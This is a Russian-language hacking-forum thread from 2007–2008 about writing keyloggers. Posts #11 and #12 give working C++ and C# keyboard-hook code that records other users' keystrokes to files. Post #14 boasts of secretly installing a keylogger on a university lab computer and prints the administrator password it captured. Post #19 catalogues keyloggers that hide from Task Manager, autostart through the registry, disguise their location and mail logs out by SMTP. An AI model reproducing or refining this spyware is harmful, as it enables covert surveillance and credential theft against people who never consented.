HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 12.12.2007, 14:48
Rav
Новичок
Регистрация: 11.12.2007
Сообщений: 2
Провел на форуме:
4425

Репутация: 0
По умолчанию

Привет товарищи вопрос такой написал простенький keylogger при вводе текста ловит только в своё окно а из других типа блокнота не ловит пробовал получать handle активного вданный момент окна и подключится к активному окну неполучилось Что я делаю не так? Помогите пожалуйта
HookProc и SetWindowsHookEx оформил в длл
код Длл:
Код:
#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "HOOK1.h"
#pragma data_seg(".SHAREDDATA")
//Глобальные данные
HHOOK SysHook;
HINSTANCE hInst;
FILE *stream;
int a=0;
int nCode;
WPARAM wParam;
LPARAM lParam;
TCHAR String[256000];
//HWND Wnd;
//DWORD   dwThreadId;
//DWORD   dwCUrrentId;
#pragma data_seg()

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	hInst=(HINSTANCE)hModule;
    return TRUE;
  
}//DllMain
LRESULT CALLBACK KeyProc(int nCode,
						 WPARAM wParam,// virtual-key code
						 LPARAM lParam)// keystroke-message information
 
{
	if (lParam>0x8000 )
	//if (nCode == HC_ACTION)
		{
	    UINT uScanCode = MapVirtualKey(wParam,0); 
        BYTE KeyState[256]; 
        WORD BufChar; 
        UINT uFlags=0;
		  /*dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
	     dwCUrrentId =GetCurrentThreadId();
		 if (dwThreadId != dwCUrrentId)	{  
	    AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
		 
		GetKeyboardState(KeyState); 
        if(ToAscii(wParam,uScanCode,KeyState,&BufChar,uFlags)==1) 
        {if (char(BufChar)==8) 
        {if(a==0) return 0; 
         else a--;return 0;} 
	     if(a>250000)
        MessageBox(NULL,String,"hehe",0);
		stream = fopen( "SniFFCode", "w+t");
	    fprintf(stream,"%s\n",String);
	    fclose(stream);
	    String[a]=char(BufChar); 
        a++;
	
		
		
		}//if
	}
return 0;//CallNextHookEx(SysHook,nCode,wParam,lParam);;
}//KeyProc
DllExport void RunStopHook(bool State, HINSTANCE hInstance)
{ 
	
	//DWORD   dwThreadId;
	//DWORD   dwCUrrentId;
	
	{
	if (true){
		
      /*  dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
	     dwCUrrentId =GetCurrentThreadId();
	  if (dwThreadId == dwCUrrentId)
	  {MessageBeep(0xFFFFFFFF);}
	  else
	  AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
	  
		SysHook = SetWindowsHookEx(0,KeyProc, hInstance,0 );
		//KeyProc(nCode,wParam,lParam);
	  
	if (SysHook == NULL)
			UnhookWindowsHookEx(SysHook);
	}else
		UnhookWindowsHookEx(SysHook);
	}

//AttachThreadInput(dwCUrrentId,dwThreadId,false);
			//MessageBeep(0xFFFFFFFF); 
}//RunStopHook


и приложения привожу код приложения:


HINSTANCE hModule;
  	// Cоздаю новый указатель на функцию
	     typedef void (RunStopHookProc)(bool, HINSTANCE);
	        RunStopHookProc* RunStopHook(NULL) ;
	           // Load the DLL file (Чтение DLL-библиотеки)
	            hModule = LoadLibrary("HOOK1.dll");
	              if(hModule!= NULL)
	             {
	              RunStopHook = (RunStopHookProc*)GetProcAddress(
                     (HMODULE) hModule, "RunStopHook");					 
	             }
	if(RunStopHook != NULL)	
				  {
           (*RunStopHook)(true, hInstance);
                  }
	else
	{
	FreeLibrary(hModule);
	}
	
	// Main message loop:


	while (GetMessage(&msg,NULL, 0, 0)) 
	{
         (*RunStopHook)(true, hInstance);
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
			
		}
	}
	
  (*RunStopHook)(false,hInstance);
  FreeLibrary(hModule);
	return (int) msg.wParam;
}

Последний раз редактировалось De-visible; 27.04.2008 в 19:47.. Причина: теги [code]
 

  #12  
Старый 14.01.2008, 16:24
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897

Репутация: 1462
По умолчанию

Кей Логгер на C# через Hook ...
гыгыгы
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;


namespace JesSimpleKeyLogger
{
    public partial class Form1 : Form
    {

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);


        public Form1()
        {
            InitializeComponent();
           _hookID = SetHook(_proc);
            Application.Run(); 
           UnhookWindowsHookEx(_hookID);
        }

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        
        private const string path = @"c:\KeyLog.txt"; // использовать const не обязательно
        }
  
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(
            int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {


                int keyCode = Marshal.ReadInt32(lParam);
               
                string keyString = Convert.ToChar(vkCode).ToString();

                using (StreamWriter sw = File.AppendText(path))
                {
                    sw.Write(keyString); // Пишем в файл ...
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

    }
}
никаких наворотов , думаю , разобраться не составит труда ...
Я собрал код так, чтобы для его запуска достаточно его только скопировать(From1.cs);(ибо топ для новичков)
 

по поводу первого поста
  #13  
Старый 16.01.2008, 21:59
Rulodine
Новичок
Регистрация: 16.01.2008
Сообщений: 3
Провел на форуме:
7082

Репутация: 0
По умолчанию по поводу первого поста

Я хотел узнать вот первый кейлогер который выложили он у меня не работает , пишет ошибки постоянные , gold-goblin можеш выложить тот , что у тебя пошел ?
 

Помог самописный Кейлогер
  #14  
Старый 13.02.2008, 18:58
A2GIL
Познающий
Регистрация: 31.08.2007
Сообщений: 94
Провел на форуме:
422909

Репутация: 200
Отправить сообщение для A2GIL с помощью ICQ
Smile Помог самописный Кейлогер

Полторы недели назад начался новый семестр. Как ни странно я уже ждал этого момента, так как у нас постоянно что-то колотили в универе, прокладывали какие-то кабеля. Прошел слух что у нас собираются проводить сеть, причем интернет теперь сделают халявним для учащихся, но правда с невысокой скоростью. Потирая ладони я почувствовал, что вот оно-счастье! И что вы думаете? Да...бесплатный сыр только в мышеловке бывает...Мало того что не появилось этого халявного инета, дак еще и доступы везде поограничевали. Вот вам по 200 мб на каждом компе и как хотите! Конечно же доступ у админов был полным. Такая идея мне очень не понравилась, я решил во что бы то не стало получить доступ к адинистратору. Первое что я попробовал - это конечно же стащить SAM но вот облом - системник весь в пломбах и на биосе пароль! Дам..ну да ладно. Увлекшись этой мыслю, стал перебирать в голове различные варианты, и....А что если старым добрым способом: кейлоггинг? Благо в инете много всяких кейллогов...Придя домой сразу же в инет искать? И вот когда у меня собралось с десяток, стал тестить...Не знаю почему но меня ни один не устроил - почти каждый второй клиент-серверный (оно и понятно), а некоторые вообще только английские клавиши ловят. Короче не то это все и вот взяв один исходничек было решено его подогнать, что называется под себя! И вот парочка деньков и кейллог готов Так как в нашей лаборатории сидят в основном то нубы, я зашел туда и сказал: Можно я скину себе последнюю версию Fox'a (они у них полулицензионные=))? - Да пожалуйста. Далее думаю комментария излишни...И тут бац звонок на пару - Ой я потом у Вас докопирую приду позже...
Гы...прихожу через два дня Скинул как и обещал. И как Вы думаете?-Получилось!!!!!!!!!!Кейллог, который был настроен у меня определенное окошко, благополучно записал логин и пароль, которые в последствии были проверены и подошли: administrator: h2urra4!. Поэтому выкладываю сюда свое произведение, может кому тоже понравится В оставшееся время, написал для него формочку, если не охото копаться в исходниках (прилагаются к кейллогеру). Забавно, но сперва напоминает Pinch. Поэтому назвал Vinchi Работает только локально, и никакого вреда для машины не наносит (разве, что записи в реестре:d). Если будут отзывы, можно будет доработать. Кстати весит - 12 кб
Язык - Delphi
Скачать (~700 кб)
P.S С сердечком, потому что завтра 14 февраля

Последний раз редактировалось A2GIL; 13.02.2008 в 19:05..
 

  #15  
Старый 27.04.2008, 19:44
ozs
Участник форума
Регистрация: 27.11.2007
Сообщений: 174
Провел на форуме:
485129

Репутация: 69
По умолчанию

Начинаю собирать и находит 2 ошибки. using System.Linq; и HookCallback собирaю в visual studio 2005

Последний раз редактировалось ozs; 27.04.2008 в 20:32..
 

  #16  
Старый 07.05.2008, 15:08
FLIER
Новичок
Регистрация: 25.02.2008
Сообщений: 16
Провел на форуме:
60781

Репутация: 2
По умолчанию

А Сорцы билдера почему не выложил ? есть ошибки,что-то забыл добавить..или удалил лишнее..
 

  #17  
Старый 07.05.2008, 16:30
Dr.KoD
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме:
140772

Репутация: 72
По умолчанию

Все там работает, включаем мозги!!!
 

  #18  
Старый 03.08.2008, 22:07
Juda
Познающий
Регистрация: 02.08.2008
Сообщений: 55
Провел на форуме:
363117

Репутация: 30
По умолчанию

У меня вопрос. Можно ли весь код Кейлогера(используюя хуки) на Си или на Асм запихнуть в Dll. Чтоб Dll была полностью самостоятельна. С толкнулся с проблемой, когда приложение ставит хук, а функция для отлова клавиш находится в DLL то все работает хорошо. Но когда Dll сама ставит хук, то не фига не работает и ошибок нет. В чем прикол?
 

  #19  
Старый 04.08.2008, 16:06
SlyBit
Познающий
Регистрация: 04.07.2008
Сообщений: 56
Провел на форуме:
390892

Репутация: 60
По умолчанию

+ к коллекции:

===============================
Название: Kbd sniffer 1.2
Автор: Del
Язык: C++
Компилятор: Borland C++ Builder 5
Описание: Прога для наблюдения за глупыми юзерами Записывает в файлик всё, что нажимали на клаве.
Для работы сниффера нужно 2 файла: winsock.exe (сниффер) и hook.dll
Что бы он начал свою работу просто запустите его.
Прога не имеет окна и скрываеться от 3-х педалей, так что сходу её в Виндах не найдёшь. Но при желании конечно найти можно
При старте сниффер скрывает себя от Ctrl-Alt-Del, прописывает автостарт в реестре HKCR\Sostware\Microsoft\Windows\Current Version\Run - winsock и начинает запись всех нажатых клавишь в C:\Windows\System\gdi32.snf
Если папка винды не C:\Windows, а другая, не переживайте - сниффер всё равно её найдёт и запишет лог клавы куда надо.
Если надо писать в другое место (например диск C:\ не разшарен) укажите путь к лог файлу в коммандной строке сниффера.
Например: winsocket.exe D:\Vasya\klav_log.txt
Для того чтобы удалить запись о автозапуске сниффера из реестра, достаточно запустить unistall.exe (идёт в одном архиве со сниферром).
Прога написана на C++Builder 5.0 с использованием средств WindowsAPI. Тестировалась в win98se и WinME. Глюков не создавала.
Вместе со сниффером поставляеться конвертер его логов. Он выкидывает из логов всё кроме самого текста. Пароли, конечно, так не узнаешь, а просто читать гораздо приятнее
[Скачать]
===============================
Название: KidLogger
Автор: Teslain
Язык: C++
Компилятор: VisualC++ 6.0
Описание: Teslain Kid logger (v. 1.0 with source code). Log your kid activity on the computer.
Designed for Home users to keep watch on kids (2-7 years) activity.
This programm to not containt spyware/adware modules. This is simple key logger that do not protect himself from being deleted by user.
[Скачать]
===============================
Название: keyhook
Автор: ?
Язык: С++
Компилятор: Visual Studio
Описание:
+Простой кейлог с названием окна и нажатых клавиш.
+Копирует себя в директорию с WindowsMediaPlayer(Сам придумал для беспаливности)
+Загружаеться через userinit
+Шлет лог каждые n байт в сорце поставил 1100(отправка smtp на сокетах,к сожалению без фильтрации ошибок)
Написан на С++ чистом ВинАпи.
[Скачать]
===============================
Название: SpySystem
Автор: ?
Язык: C++
Компилятор: VisualC++ 6.0
Описание: Программа ведет два лог файла:
1-й кейлог(пишет все нажатия клавиш)
2-й буфферлог(пишет лог всякий раз,когда в буфере обмена появляется текст)
При запуске прописывается в автозапуск!
висит в трее.
О настройках:
SpySystem.ini
PathBuf-прописать полный путь до папки куда хотим вести лог буффера обмена.
PathKey-прописать полный путь до папки куда хотим вести лог кейлогера.
[Скачать]
===============================

Последний раз редактировалось SlyBit; 04.08.2008 в 16:11..
 

  #20  
Старый 28.09.2008, 22:56
Scripter
Участник форума
Регистрация: 03.09.2008
Сообщений: 155
Провел на форуме:
1201665

Репутация: 236
По умолчанию

Может кто-нибудь выложить готовый простенький кейлоггер, который бы писал всё в .txt рядом, автозапуск можно и самому прописать... заранее спасибо

Последний раз редактировалось Scripter; 28.09.2008 в 22:59..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Клавиатурный шпион Болталка 12 15.09.2008 16:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ